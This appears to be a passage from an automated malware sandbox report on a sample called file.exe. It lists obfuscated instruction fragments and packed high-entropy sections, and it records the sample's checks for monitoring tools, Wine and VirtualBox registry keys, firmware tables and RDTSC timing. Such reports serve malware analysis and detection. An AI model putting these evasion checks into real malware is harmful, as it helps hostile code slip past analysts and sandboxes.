Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B36E81 push 62692E5Fh; mov dword ptr [esp], edi	0_2_06B37C6C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B3B685 push ecx; ret	0_2_06B3B697
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B39689 push ebp; ret	0_2_06B39698
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B406E2 push edi; mov dword ptr [esp], edx	0_2_06B40818
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B406E2 push edi; mov dword ptr [esp], eax	0_2_06B4081F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B31ED5 push 3D242C66h; mov dword ptr [esp], edx	0_2_06B35C82
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B31ED5 push edx; mov dword ptr [esp], ecx	0_2_06B365BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B326DF push 6E2F866Eh; mov dword ptr [esp], eax	0_2_06B335C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B36EDC push ecx; mov dword ptr [esp], 590CBCE5h	0_2_06B37D95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B3EECF push ebp; mov dword ptr [esp], ecx	0_2_06B3EF5E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B39E28 push 3C85C20Ah; mov dword ptr [esp], ebx	0_2_06B3A318
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B3962E push ebx; ret	0_2_06B3963D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B37615 push 4E861E53h; mov dword ptr [esp], esp	0_2_06B38D19
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B3BE14 push eax; mov dword ptr [esp], 5DEF63C4h	0_2_06B3BE1B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B3BE14 push eax; mov dword ptr [esp], ecx	0_2_06B3BEBB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B3BE14 push ebx; mov dword ptr [esp], edi	0_2_06B3BF61
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B32E1B push 38BEAA64h; mov dword ptr [esp], edi	0_2_06B35466
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B3861F push 355C42D3h; mov dword ptr [esp], ebp	0_2_06B38624
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B3261C push ebp; mov dword ptr [esp], 4FFDB468h	0_2_06B32625
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B3DE03 push edi; mov dword ptr [esp], 7FFF56A6h	0_2_06B3DE11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B3DE03 push eax; mov dword ptr [esp], edi	0_2_06B3DE3E

Source: file.exe	Static PE information: section name: entropy: 7.978835561221145
Source: file.exe	Static PE information: section name: rynzmkaj entropy: 7.95397164929625

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE4012 second address: FE391B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4F78C44E37h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jno 00007F4F78C44E2Ch 0x00000013 add dword ptr [ebp+122D1899h], ebx 0x00000019 push dword ptr [ebp+122D0429h] 0x0000001f jmp 00007F4F78C44E33h 0x00000024 call dword ptr [ebp+122D37ACh] 0x0000002a pushad 0x0000002b mov dword ptr [ebp+122D36B8h], ecx 0x00000031 xor eax, eax 0x00000033 jns 00007F4F78C44E27h 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d or dword ptr [ebp+122D36B8h], edi 0x00000043 mov dword ptr [ebp+122D2931h], eax 0x00000049 clc 0x0000004a mov esi, 0000003Ch 0x0000004f cmc 0x00000050 add esi, dword ptr [esp+24h] 0x00000054 cld 0x00000055 cld 0x00000056 lodsw 0x00000058 jmp 00007F4F78C44E2Fh 0x0000005d mov dword ptr [ebp+122D3010h], ecx 0x00000063 add eax, dword ptr [esp+24h] 0x00000067 mov dword ptr [ebp+122D36B8h], edx 0x0000006d mov ebx, dword ptr [esp+24h] 0x00000071 stc 0x00000072 nop 0x00000073 pushad 0x00000074 jmp 00007F4F78C44E2Ah 0x00000079 push eax 0x0000007a push edx 0x0000007b push eax 0x0000007c push edx 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE391B second address: FE391F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE391F second address: FE3935 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4F78C44E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jnl 00007F4F78C44E26h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1145893 second address: 114589B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11513D5 second address: 11513F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F4F78C44E28h 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d pushad 0x0000000e jno 00007F4F78C44E2Ch 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11513F2 second address: 1151409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F78FA0E01h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151846 second address: 115185F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F4F78C44E2Eh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1153EAE second address: 1153EB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1153EB2 second address: 1153EC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F4F78C44E2Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1153EC0 second address: 1153EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 jnp 00007F4F78FA0E08h 0x0000000f mov eax, dword ptr [eax] 0x00000011 pushad 0x00000012 jmp 00007F4F78FA0E04h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1153EFB second address: 1153F01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1153F01 second address: 1153F14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F4F78FA0DF6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1153F14 second address: FE391B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F4F78C44E2Ch 0x0000000d pushad 0x0000000e mov dword ptr [ebp+122D37C9h], eax 0x00000014 movsx ecx, di 0x00000017 popad 0x00000018 pop ecx 0x00000019 push dword ptr [ebp+122D0429h] 0x0000001f mov esi, 29A7C7FEh 0x00000024 call dword ptr [ebp+122D37ACh] 0x0000002a pushad 0x0000002b mov dword ptr [ebp+122D36B8h], ecx 0x00000031 xor eax, eax 0x00000033 jns 00007F4F78C44E27h 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d or dword ptr [ebp+122D36B8h], edi 0x00000043 mov dword ptr [ebp+122D2931h], eax 0x00000049 clc 0x0000004a mov esi, 0000003Ch 0x0000004f cmc 0x00000050 add esi, dword ptr [esp+24h] 0x00000054 cld 0x00000055 cld 0x00000056 lodsw 0x00000058 jmp 00007F4F78C44E2Fh 0x0000005d mov dword ptr [ebp+122D3010h], ecx 0x00000063 add eax, dword ptr [esp+24h] 0x00000067 mov dword ptr [ebp+122D36B8h], edx 0x0000006d mov ebx, dword ptr [esp+24h] 0x00000071 stc 0x00000072 nop 0x00000073 pushad 0x00000074 jmp 00007F4F78C44E2Ah 0x00000079 push eax 0x0000007a push edx 0x0000007b push eax 0x0000007c push edx 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115403F second address: 1154045 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1154045 second address: 1154092 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4F78C44E28h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 1F1BE1DDh 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F4F78C44E28h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D3534h], edi 0x00000033 mov dword ptr [ebp+122D357Eh], ebx 0x00000039 lea ebx, dword ptr [ebp+12443D86h] 0x0000003f mov dword ptr [ebp+122D1E84h], edx 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1154092 second address: 1154097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115411B second address: 115415D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edx, dword ptr [ebp+122D2A99h] 0x0000000f push 00000000h 0x00000011 mov edi, dword ptr [ebp+122D2BE5h] 0x00000017 call 00007F4F78C44E29h 0x0000001c jmp 00007F4F78C44E33h 0x00000021 push eax 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F4F78C44E2Bh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115415D second address: 1154166 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1154166 second address: 115416C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115416C second address: 115417B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115417B second address: 115418A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F78C44E2Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115418A second address: 115419D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4F78FA0DF8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1154277 second address: 11542DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edi 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F4F78C44E32h 0x00000011 popad 0x00000012 pop edi 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007F4F78C44E28h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+122D2DFEh], ebx 0x00000036 mov dword ptr [ebp+122D1E84h], ebx 0x0000003c push 1A069D34h 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 jo 00007F4F78C44E26h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11542DA second address: 11542F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78FA0E03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11542F1 second address: 11542F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11542F7 second address: 1154385 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 1A069DB4h 0x0000000f mov ecx, dword ptr [ebp+122D295Dh] 0x00000015 push 00000003h 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007F4F78FA0DF8h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 0000001Ch 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 movsx edx, ax 0x00000034 push 00000000h 0x00000036 jmp 00007F4F78FA0DFDh 0x0000003b push 00000003h 0x0000003d jns 00007F4F78FA0DFCh 0x00000043 call 00007F4F78FA0DF9h 0x00000048 jmp 00007F4F78FA0E07h 0x0000004d push eax 0x0000004e pushad 0x0000004f jnc 00007F4F78FA0DFCh 0x00000055 pushad 0x00000056 push edi 0x00000057 pop edi 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1154385 second address: 11543BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b jc 00007F4F78C44E28h 0x00000011 push esi 0x00000012 pop esi 0x00000013 js 00007F4F78C44E28h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c mov eax, dword ptr [eax] 0x0000001e push eax 0x0000001f push ecx 0x00000020 pushad 0x00000021 popad 0x00000022 pop ecx 0x00000023 pop eax 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F4F78C44E2Bh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11543BB second address: 1154406 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F4F78FA0DF8h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 mov dx, cx 0x00000025 mov ecx, dword ptr [ebp+122D2B51h] 0x0000002b lea ebx, dword ptr [ebp+12443D9Ah] 0x00000031 mov edx, dword ptr [ebp+122D2A09h] 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a jo 00007F4F78FA0DFCh 0x00000040 js 00007F4F78FA0DF6h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1154406 second address: 115440C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115440C second address: 1154410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166A4E second address: 1166A54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11756A5 second address: 11756B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F4F78FA0DFEh 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114A757 second address: 114A75B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114A75B second address: 114A78D instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4F78FA0DF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F4F78FA0E03h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4F78FA0E03h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1173B57 second address: 1173B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F4F78C44E26h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F4F78C44E2Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 jne 00007F4F78C44E26h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1173CDC second address: 1173CE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1173EA6 second address: 1173EC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4F78C44E34h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117428F second address: 117429D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jne 00007F4F78FA0DF6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11743E6 second address: 11743F0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4F78C44E26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11743F0 second address: 11743FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11743FA second address: 11743FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11743FE second address: 1174414 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jl 00007F4F78FA0DF6h 0x0000000f pop ecx 0x00000010 popad 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11746A3 second address: 11746AD instructions: 0x00000000 rdtsc 0x00000002 js 00007F4F78C44E26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11746AD second address: 11746C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 jns 00007F4F78FA0DF6h 0x0000000f pop ecx 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11746C0 second address: 11746C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11746C6 second address: 11746EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F4F78FA0DFDh 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e push edx 0x0000000f pop edx 0x00000010 pop edi 0x00000011 jnc 00007F4F78FA0DFCh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11746EB second address: 11746FA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4F78C44E2Ah 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1139B61 second address: 1139B7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78FA0E06h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175120 second address: 117512C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop eax 0x00000007 pop esi 0x00000008 push ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11752BA second address: 1175300 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F4F78FA0DF6h 0x00000009 jl 00007F4F78FA0DF6h 0x0000000f jmp 00007F4F78FA0E08h 0x00000014 popad 0x00000015 pushad 0x00000016 jmp 00007F4F78FA0E09h 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113B56E second address: 113B582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F78C44E30h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1178032 second address: 1178036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1178036 second address: 117803A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117803A second address: 1178040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
